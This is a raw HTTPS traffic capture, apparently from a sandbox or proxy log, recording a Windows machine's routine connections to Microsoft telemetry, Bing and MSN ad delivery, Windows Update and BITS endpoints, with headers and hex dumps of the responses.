2024-11-26 00:41:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004125Z-174f7845968vqt9xhC1EWRgten0000000utg000000005wuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49765	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:26 UTC	370	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=3d0ccc6b1b8a4920ab20f5c490b46801&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-26 00:41:26 UTC	864	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=2F3E41AB083864DB3DDF54E8095A655C; domain=.bing.com; expires=Sun, 21-Dec-2025 00:41:26 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Tue, 03-Dec-2024 00:41:26 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A2D29041AF494783A716E9EB18C3BF6D Ref B: EWR311000105045 Ref C: 2024-11-26T00:41:26Z Date: Tue, 26 Nov 2024 00:41:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49764	20.31.169.57	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:26 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T004121Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1a69b17d0fb24037aa643c4b78c21e7b&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=601583&metered=false&nettype=ethernet&npid=sc-88000045&oemName=biqyts%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=biqyts20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=601583&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOkDnLpuoVUv9LEyC9W/SLMLOeMnEX1atSoTt6TLad4hOPjHOYiSt8rr8zPSCwkd4GdfQxAfgIFWicjBOriyxFAF4P4Tnh/Sh6C6bEKv99RnDUUNJ2RRxct8mwOXkDbULtBNaHClN9dGo1x5d2o0yROEW9ei+rKZFq0sCLbaJnb1KRLsY+1uCVUlJajzedO14HNnTJyPVF3VosWuQ/qKgyL1PyFyREXYAA3106vzCQmSYShHFF7Jxnzu9BvsrISdHbGllEEHmT1OX0D3G8MJ2oPh3DAtTz8kYufT2mprjfysmADZlL/OuhalyQgBqpc1DipcNflvbhNrkKRi4miQx4QZgAAELHGmkeITw2Xqd9oZrITaXSwAYJpCOxhD04HNyox8lSGDwTrKvhRzhUJqFjUSaB56IwZyVqx1IlM3x1BWdGwJkACQZMlJuzQcHwUrbXiuWk1Y+m3Do0Mpgp6lzPYjTQkdFkaSmNkufZmnJ+QUh2Yv7qNSFlXLvOsfsyZvwX9IJK48WUWv+hvvPD+igb6p4YphnPRpPwJB6yzUkwL30Bh1EUm8agaU3UNPufWJSkzLAXkSd052/HneK75xsj/bW2/WAVDbjZfnphvOG1L8I4/xpZj27QtCaVlOCpgFxwE41iS6UmyapYnUXsgrwxhlYASIcoUCHdytvvQbnpqJO2YstZCp4wumNTstRF/LT7KG3VSR/HEAFqwb1JncwNp9iEbxtn/0rT3qI2oPWDMxndWeaXNDF7Fk5WxBfJwZzI00DfX5IPwNBv3op/Eys5NVlKQ9LuLmfJFBDYtAb8DPJ1S3UqoU5C2iqm+OKILw0rjqZIhGI5Ay13qrmi+q3c+0mdOPto0JTdKgiX5lttJd0cfrHQ+r/4MLu0jEDfXN5h3CSMMsjOOSr8+Y/W8JMQTwYKN1qtILcjGREgaA2ckroBrv6JnEdcB&p= Cache-Control: no-cache MS-CV: jR7iF89gPk6v5iyt.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 00:41:26 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2945 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: va7dgfb0oRnRuqoeaEAYLh2NkieJ8XKavMB81vKUzkZ3KHya1y/krDqdWQOFsYMtBIqizg1lTzYWQxhJ48t8hzb5rYFeO3Fv6Fpd0aKbJJEoT22TRlXxURlmdo2WJzwNgB9do4oCozlobA5iWAbDfrhenHg2hnXCBoICRBeZ72c1VW94zI9XlArAmyIwu8xSr5GAsx/tyLaXTIiN6Mq2U5XnxpVvYUCb2Fl8HHcWCp9fSciiymct73tY9bXxcfOI91wniLNVQr8ct4XpKSY1KrajkZK8jZdDDO9q+djlplX4+jtrtaa/ClLLNu8AMYM7nDEgjIDvH+bURCwCbYiTAg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 00:41:26 GMT Connection: close
2024-11-26 00:41:26 UTC	2945	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:26 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004126Z-174f7845968kvnqxhC1EWRmf3g0000000dfg0000000073ws x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004127Z-174f7845968pf68xhC1EWRr4h80000000uy00000000062cu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:27 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004127Z-174f78459685m244hC1EWRgp2c0000000un0000000001usr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:27 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004127Z-174f7845968l4kp6hC1EWRe8840000000uyg0000000061pf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49773	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:27 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Cv949bFwnRTgu3r&MD=OnYbVzm8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-26 00:41:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: da66387d-c251-4745-82a3-a088cc254b1c MS-RequestId: 984ce5d9-4d42-4a5a-86fd-a9327a37013b MS-CV: uqC2NfJ3G0qkTvlP.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 00:41:26 GMT Connection: close Content-Length: 24490
2024-11-26 00:41:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-26 00:41:28 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004127Z-174f7845968nxc96hC1EWRspw80000000ue0000000005x88 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49779	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:28 UTC	413	OUT	GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=3d0ccc6b1b8a4920ab20f5c490b46801&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=2F3E41AB083864DB3DDF54E8095A655C; MR=0
2024-11-26 00:41:28 UTC	763	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=tLXqB2Bn8AfPH3X9w-bp-lWDWgAZN3Tc1Q712ATrwg4; domain=.bing.com; expires=Sun, 21-Dec-2025 00:41:28 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F04E6C9F3B724662AE176DFED99D1A8B Ref B: EWR30EDGE1120 Ref C: 2024-11-26T00:41:28Z Date: Tue, 26 Nov 2024 00:41:28 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49781	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:28 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
